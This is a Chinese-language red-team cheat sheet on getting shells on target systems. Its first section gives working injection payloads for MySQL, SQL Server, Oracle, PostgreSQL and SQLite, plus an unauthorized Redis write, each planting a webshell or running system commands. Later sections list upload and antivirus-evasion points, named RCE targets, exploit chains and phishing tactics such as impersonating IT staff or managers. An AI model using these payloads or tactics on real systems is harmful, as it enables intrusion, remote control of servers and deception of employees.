红队-Getshell总结
字数 1767 2025-08-25 22:58:40
红队Getshell技术全面总结
0x01 注入Getshell技术
MySQL注入Getshell
-- 写入Webshell
SELECT 0x3c3f706870206576616c28245f504f53545b615d293b3f3e INTO OUTFILE '/var/www/html/1.php'
SQL Server注入Getshell
-- 使用xp_cmdshell执行命令
EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx';
Oracle注入Getshell
- 创建JAVA包
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') FROM dual;
- 授予JAVA权限
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''', ''''EXECUTE'''');end;'';commit;end;') FROM dual;
- 创建函数
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String'''';'';commit;end;') FROM dual;
- 执行命令
-- URL执行示例
id=602'||utl_inaddr.get_host_name((SELECT LinxRUNCMD('cmd /c dir d:/') FROM dual))--
PostgreSQL注入Getshell
COPY (SELECT '<?php phpinfo(); ?>') TO '/tmp/1.php';
SQLite注入Getshell
;ATTACH DATABASE 'D:\\www\\008.php' AS tt;
CREATE TABLE tt.exp (dataz TEXT);
INSERT INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');
Redis未授权Getshell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo(); ?>"
save
0x02 上传漏洞Getshell
常见上传漏洞类型
- 前台上传点漏洞
- 后台上传点漏洞(通过口令/XSS/越权进入)
- Web Server解析漏洞(IIS/APACHE老版本)
- PUT方法上传漏洞(IIS/Tomcat)
- 编辑器漏洞(FCK/editor/CKEditor等)
上传漏洞利用关键点
- 代码或逻辑问题,可以上传脚本文件
- 绕过WAF对脚本文件及上传内容的校验
- 解决落地杀(杀毒软件)
- 执行过程绕过流量监控或系统层监控
0x03 RCE(远程代码/命令执行)Getshell
常见RCE类型
- Java系:OGNL表达式注入、EL注入、反序列化
- PHP系:eval类、伪协议类、system类命令执行
- 通用:反序列化漏洞
2019年高频RCE漏洞列表
- Harbor API SQL注入
- Thinkcmf任意内容包含RCE
- 泛微E-cology OA数据库配置信息泄漏
- Fastjson远程拒绝服务
- GhostScript RCE(CVE-2019-14811)
- 泛微E-cology OA系统RCE
- Apache Solr RCE(CVE-2019-0193)
- FasterXML jackson-databind RCE系列
- Xstream RCE(CVE-2019-10173)
- 致远OA A8前台getshell
- Apache axis RCE
- CoreMail未授权访问接口参数注入
- Weblogic RCE系列
- Confluence RCE系列
- Ruby On Rails任意文件读取
- Jenkins RCE系列
- ColdFusion RCE
- Spring Boot Actuator RCE
- Drupal8 REST Module RCE
- Apache Solr RCE(CVE-2019-17558)
0x04 文件包含Getshell
PHP文件包含
- 包含任意路径的任意后缀文件
- 结合系统特性文件或上传文件利用
JSP文件包含
- 默认包含WEB路径下的JSP文件
- 静态包含可以包含任意后缀文本文件
- CVE-2020-1938 Tomcat文件包含漏洞
0x05 漏洞组合拳Getshell
常见组合方式
- 绕过认证+后台漏洞利用
- 口令猜测
- 备份还原/导入导出/模板编辑功能利用
- 登录逻辑绕过/越权+后台漏洞利用
- XSS/CSRF获取后台权限+漏洞利用
- XXE+文件读取/SSRF
- 直接代码执行(PHP expect)
- 读取配置文件获取凭证
- SSRF+RCE组合
- SSRF+Redis未授权
- SSRF+其他RCE漏洞
- 任意文件读取+代码审计
- 读取web.xml获取class文件
- 反编译查找代码漏洞
- 文件读取+文件上传组合
0x06 系统层Getshell
暴力破解
- SSH/RDP/SMB/VPC/Redis等协议破解
数据库提权
- 通过数据库执行系统命令获取shell
设备层攻击
- VPN/防火墙等边界设备攻击
0x07 钓鱼Getshell
钓鱼技术
- 发送钓鱼邮件
- 捆绑恶意程序
- 点击即执行类攻击
- 社工结合
- 冒充IT管理员/领导发送
- 提升可信度
目标选择
- 优先针对IT部门
- 普通办公区主机权限需要更多工作
0x08 红队Shell竞争策略
-
信息收集优势
- 发现他人找不到的漏洞点
- 移动端/物联网接口信息收集
-
利用速度优势
- 自动化漏洞利用流程
- 工程化攻击工具链
-
0day储备
- VPN/Mail/OA/Java组件/CMS/关键设备0day
-
漏洞组合利用
- 多个低危漏洞组合利用
- 深度挖掘漏洞细节
总结
Getshell技术体系包括但不限于:
- 各类数据库注入技术
- 文件上传漏洞利用
- 远程代码/命令执行漏洞
- 文件包含漏洞
- 多漏洞组合利用
- 系统层攻击
- 社会工程学攻击
红队成功的关键在于:
- 全面的技术储备
- 快速的漏洞利用能力
- 独特的0day资源
- 创新的漏洞组合思路
- 深入的信息收集能力